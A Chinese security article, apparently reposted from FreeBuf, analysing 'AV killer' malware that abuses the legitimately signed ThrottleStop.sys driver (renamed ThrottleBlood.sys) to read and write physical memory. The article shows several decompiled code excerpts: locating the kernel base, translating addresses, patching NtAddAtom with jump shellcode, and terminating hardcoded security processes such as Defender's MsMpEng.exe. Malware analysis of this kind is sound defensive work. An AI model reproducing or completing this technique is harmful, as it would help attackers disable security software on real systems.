黑客利用CPU降频驱动终结杀软
文章描述了一种利用合法驱动ThrottleStop.sys的漏洞进行攻击的方法。该驱动允许通过IOCTL调用直接读写物理内存,并被重命名为ThrottleBlood.sys用于恶意活动。攻击者通过获取内核基址、转换虚拟地址为物理地址,并利用NtAddAtom函数间接调用内核函数,最终实现终止安全软件进程的目的。 2025-9-8 02:42:34 Author: www.freebuf.com(查看原文) 阅读量:6 收藏

被利用的合法驱动名为: ThrottleStop.sys, 由TechPowerUp开发, 主要用于ThrottleStop应用。该应用主要用于监控和修复CPU降频问题, 常见于游戏玩家。驱动加载后会在系统中创建一个设备: \\.\\ThrottleStop,作为用户态与内核态之间的通信通道。

与驱动的通信主要通过IOCTL调用实现, 使用的是Win32 DeviceIoControl函数。该驱动暴露了两个存在漏洞的IOCTL功能: 一个允许读取内存, 另一个允许写入内存, 且均使用物理地址。任何拥有管理员权限的用户都能访问这些功能, 这就是核心漏洞所在。

为了禁用系统防御, 黑客将合法驱动ThrottleStop.sys重命名为:ThrottleBlood.sys, 并与另一个加载器All.exe进行配合使用。在实际使用中, ThrottleBlood.sys驱动带有合法证书,其签署时间为: 签署时间:2020-10-06 20:34:00 UTC, 如图:

图片

根据上面的漏洞原理, 驱动利用MmMapIoSpace函数进行物理内存访问。该内核API会将指定物理地址映射到虚拟地址空间(MMIO区域), 使得虚拟内存的读写能直接影响物理内存。这类漏洞在内核驱动中早已为人所知, 既被攻击者滥用, 也被游戏外挂利用来获取底层内存访问权限。

第二个组件All.exe就是AV killer本身。首先对其进行文件属性和字符串搜索, 发现其中包含大量杀毒软件的进程名,如图:

图片

当 All.exe 执行时,它首先通过SCM(服务控制管理器)API方法(如 OpenSCManagerA()StartServiceW())加载 ThrottleBlood.sys 驱动。如图:

图片

AV killer主要是利用ThrottleStop 驱动来劫持内核函数,使用户态能够执行仅限内核态的例程。为了成功利用该驱动的读写漏洞,恶意程序首先获取当前已加载内核的基址和目标函数地址, 这些动作主要利用Win32 中未文档化的NtQuerySystemInformation 函数来实现。其关键核心代码如下:

for ( i = NtQuerySystemInformation(SystemModuleInformation, 0, 0, &ReturnLength);      i == 0xC0000004;      i = NtQuerySystemInformation(SystemModuleInformation, SystemBasicInformation, ReturnLength, &ReturnLength) )
{
  VirtualFree(SystemBasicInformation, 0, 0x8000u);
  SystemBasicInformation = (SYSTEM_MODULE_INFORMATION *)VirtualAlloc(0, ReturnLength, 0x3000u, 4u);
}
if ...
while ( 1 )
{
  String1 = (char *)&module;
  ModuleName = &Name[SystemBasicInformation->Modules[index].NameOffset];
  name_len = strlen(ModuleName);
  len = (char *)name_len;
  if ...
  memcpy(v12, ModuleName, (size_t)len);
  p_module = String1;
LABEL_9:
  v17 = len;
  len[(QWORD)p_module] = 0;
  if ( !_stricmp(String1, *TargetSystemModule) )
    break;
  if ( String1 != (char *)&module )
    operatordelete(String1);
  ++index;
  Name += 296;
  if ( index >= SystemBasicInformation->ModulesCount )
    goto next;
}
ImageBaseAddress = SystemBasicInformation->Modules[index].ImageBaseAddress;
VirtualFree(SystemBasicInformation, 0, 0x8000u);
if ( String1 != (char *)&module )
  operatordelete(String1);
return (uint64_t)ImageBaseAddress;

传入SystemModuleInformation标志后,该函数可以返回当前系统上已加载的模块与驱动程序列表。Windows 内核通常称为 ntoskrnl.exe。由于KASLR(内核地址空间布局随机化),其基址总是不同的。

要使用MmMapIoSpace 执行读/写操作,系统必须先确定内核所使用的物理地址。可通过一种名为SuperFetch的技术来实现,这一技术已封装在 GitHub 上的开源项目superfetch中。该项目通过一个仅由头文件组成的 C++ 库,提供了将虚拟地址转换为物理地址的功能。相关代码如下:

spf::memory_map::current((spf::memory_map *)&ntoskrnl_exe_ptr);
if ...
{
  kernel_base_virtual_addr = this->KernelBase;
  KernelBasePhysicalAddress = end;
  kernel_base_page_aligned = kernel_base_virtual_addr & 0xFFFFFFFFFFFFF000ULL;
  if ( end )                                
  {
    translation_map_iterator = (translation_map **)((_QWORD *)&ntoskrnl.TranslationTable->vtable
                                                    + kernel_base_page_aligned % unordered_map_size);
    if ( translation_map_iterator )
    {
      translation_unordered_map = *translation_map_iterator;
      if ( (*translation_map_iterator)->VirtualAddress == (void *)kernel_base_page_aligned )
        goto LABEL_98;
      else
      {
        while ( 1 )
        {
          vtable = (translation_map *)translation_unordered_map->vtable;
          if ( !translation_unordered_map->vtable )
            break;
          translation_map_iterator = (translation_map **)translation_unordered_map;
          if ( kernel_base_page_aligned % unordered_map_size != (unsigned __int64)vtable->VirtualAddress
                                                              % unordered_map_size )
            break;
          translation_unordered_map = (translation_map *)translation_unordered_map->vtable;
          if ( vtable->VirtualAddress == (void *)kernel_base_page_aligned )
            goto LABEL_98;
        }
        KernelBasePhysicalAddress = 0;
        goto LABEL_72;
      }
LABEL_98:
      translatedAddress = *translation_map_iterator;
      if ( *translation_map_iterator )
      {
LABEL_71:
        KernelBasePhysicalAddress = translatedAddress->PhysicalAddress
                                  + (kernel_base_virtual_addr & 0xFFF);
        goto LABEL_72;
      }
    }
    else
    {
      KernelBasePhysicalAddress = 0;
      goto LABEL_72;
    }
  }
  translatedAddress = (translation_map *)v99;
  if ...
LABEL_72:
  this->KernelBasePhysicalAddress = KernelBasePhysicalAddress;
}

superfetch C++ 库利用了NtQuerySystemInformation函数,具体使用SystemSuperfetchInformation查询。该查询会返回当前所有的内存范围及其页面。借助这些信息,superfetch 库可以将任意内核虚拟地址成功转换为其对应的物理地址。

既然已收集到物理基址,恶意软件就必须选择一个能够通过系统调用(从用户态)间接调用的内核函数。所选用的系统调用是 NtAddAtom,它很少被使用,并且可以通过ntdll.dll轻松调用。核心代码如下:

NtAddAtomFunction = NtAddAtom;
strcpy(NtAddAtom, "NtAddAtom");
v92 = 9;
ntoskrnl_module = LoadLibraryA("ntoskrnl.exe");
ntoskrnl_handle = ntoskrnl_module;
if ( ntoskrnl_module )
{
  NtAddAtomAddr = GetProcAddress(ntoskrnl_module, NtAddAtomFunction);
  FreeLibrary(ntoskrnl_handle);
  NtAddAtomVirtualAddress = (uintptr_t)NtAddAtomAddr + NtAddAtomVirtualAddress - (uintptr_t)ntoskrnl_handle;
  kernel_base_page_aligned = NtAddAtomVirtualAddress & 0xFFFFFFFFFFFFF000ULL;
}
NtAddAtomKernelFunctionPhysicalAddress = 
endif ...
  v47 = v99;
if ...
LABEL_80:
v48 = NtAddAtomFunction;
this->NtAddAtomKernelFunctionAddress = NtAddAtomKernelFunctionPhysicalAddress;

通过使用 LoadLibrary 函数加载 ntoskrnl.exe,恶意软件可以轻松获取 NtAddAtom 函数的偏移量,并将该偏移量与当前基址相加,从而确定其内核地址。物理地址的获取方法与内核基址相同。拿到物理地址并加载驱动后,恶意软件就能利用存在漏洞的 IOCTL 码对 NtAddAtom 函数的物理内存进行读写。核心代码如下:

LABEL_18:
NtAddAtomKernelFunctionAddress = this->NtAddAtomKernelFunctionAddress;
device_0 = this->hDevice;
*&ShellCode[2] = JmpAddress;
Buffer = NtAddAtomKernelFunctionAddress;
*BytesReturned = *ShellCode;
v64 = *ShellCode;
DeviceIoControl(device_0, WRITE_PHYS_MEM, &Buffer, 0x10u, 0, 0, &InBuffer, 0);
device_1 = this->hDevice;
*BytesReturned = *&ShellCode[8];
Buffer = this->NtAddAtomKernelFunctionAddress + 8LL;
v64 = *&ShellCode[8];
DeviceIoControl(device_1, WRITE_PHYS_MEM, &Buffer, 0x10u, 0, 0, &InBuffer, 0);
ret = NtAddAtom(a4, a5);
device_2 = this->hDevice;
kernel_ret = ret;
Buffer = this->NtAddAtomKernelFunctionAddress;
*BytesReturned = v61;
v64 = v61;
DeviceIoControl(device_2, WRITE_PHYS_MEM, &Buffer, 0x10u, 0, 0, &InBuffer, 0);
device_3 = this->hDevice;
v45 = this->NtAddAtomKernelFunctionAddress + 8LL;
*BytesReturned = v62;
v64 = v62;
Buffer = v45;
DeviceIoControl(device_3, WRITE_PHYS_MEM, &Buffer, 0x10u, 0, 0, &InBuffer, 0);
return kernel_ret;

为调用任意内核函数,"AV killer" 会写入一小段 shellcode,使其跳转到内核中的目标地址。该目标地址可以是任意所需的内核函数。函数执行完成后,恶意软件会恢复原始内核代码,以防止系统崩溃。如图:

图片

在获取所有必要信息后,"AV killer" 会通过调用 Process32FirstW()Process32NextW() API 启动循环以查找目标进程。正如前文所述,目标安全软件的列表(例如 Windows Defender 的 MsMpEng.exe )被硬编码在恶意软件中。

图片

该"AV killer"会将所有正在运行的进程与硬编码列表逐一比对。若有匹配,便利用存在漏洞的驱动调用内核函数 PsLookupProcessByIdPsTerminateProcess 来终止它们。

与当今大多数杀毒软件一样,Windows Defender 会尝试重新启动其服务以保护系统。然而,程序的主循环会继续识别并终止相关的 AV 进程。

图片

(全文完)


文章来源: https://www.freebuf.com/articles/vuls/447701.html
如有侵权请联系:admin#unsafe.sh